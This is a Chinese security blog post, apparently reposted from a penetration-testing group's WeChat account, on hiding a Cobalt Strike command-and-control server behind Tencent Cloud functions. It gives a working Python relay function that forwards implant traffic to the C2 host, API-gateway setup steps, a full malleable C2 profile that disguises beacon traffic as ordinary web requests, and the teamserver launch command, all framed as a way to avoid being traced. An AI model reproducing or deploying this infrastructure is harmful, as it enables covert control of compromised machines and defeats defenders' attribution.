利用云函数隐匿C2
2022-10-28 10:10:45 Author: 渗透安全团队(查看原文) 阅读量:13 收藏

在之前我们用腾讯云函数完成了代理池的搭建,其实这个云函数还是可以用来隐藏c2的,且由于其自带cdn,所以还是很香。(其实webshell也是可以用云函数实现上线来隐藏自身真实ip的,但是还没有进行实测。)

而利用云函数隐匿C2的原理也很简单,其实我们相当于在腾讯云开启了一个代理服务,我们将我们的木马的所有流量通过腾讯云进行转发,而腾讯云有很多出口ip,会随机使用这些ip,达到了隐匿自身真实ip的目的。

云函数配置

首先我们还是进入腾讯云创建一个自定义函数。选择运行环境为python,将为们的代码复制到函数代码中,我们需要修改我们c2中的地址为我们的c2地址。这里有个坑,很多师傅们这里写的是ip:端口,经过测试,实际上其他端口是不能上线的,只有80可以,而80端口我们可以直接省略不写。(https的443端口没测试)

# coding: utf8
import json,requests,base64
def main_handler(event, context):
response = {}
path = None
headers = None
try:
C2='http://c2ip'
if 'path' in event.keys():
path=event['path']
if 'headers' in event.keys():
headers=event['headers']
if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
except Exception as e:
print('error')
print(e)
finally:
return response

然后我们完成云函数的创建,进入触发器中创建一个触发器。选择触发器版本为$LATEST,触发方式为API网关触发,开启集成响应。

然后点击我们的API服务名进入API网关进行配置。

点击编辑,将路径修改为/。

此时我们已经完成了我们云函数的配置。

此时我们遍可以使用上图的公网域名中的http域名来进行上线了。

c2配置

然后此时我们要编译一个cs的profile文件,代码如下,我们通过这个文件对我们的包内容进行配置来进行收发包。

set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

set uri "/api/x";

client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

cs还自带了一个c2lint工具来帮助我们检验我们编写的profile文件是否正确。如图显示出来我们的请求内容。

然后我们使用命令启动我们的cs

./teamserver ip passwd xxx.profile

设置监听器,这里要注意端口为80,host为我们刚刚在API网关中的地址,注意需要删除前面的http及后面的:80

隐匿效果

在虚拟机中测试,可以看到我们的虽然上线的是同一个主机,但是ip是不一样的,通过查询可以发现都是腾讯云的ip,达到了我们防止被溯源的目的。

星 球 免 费 福 利

 转发公众号本文到朋友圈

 截图到公众号后台第1、3、5名获取免费进入星球

星球的最近主题和星球内部工具一些展示

欢 迎 加 入 星 球 !

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247494003&idx=2&sn=0a9714bd1f2c8974df9e924deddecccd&chksm=c17614dcf6019dca79d405672dafd22dcb810f9edbfd558244dbddc0cb1940bd309d94d40b10#rd
如有侵权请联系:admin#unsafe.sh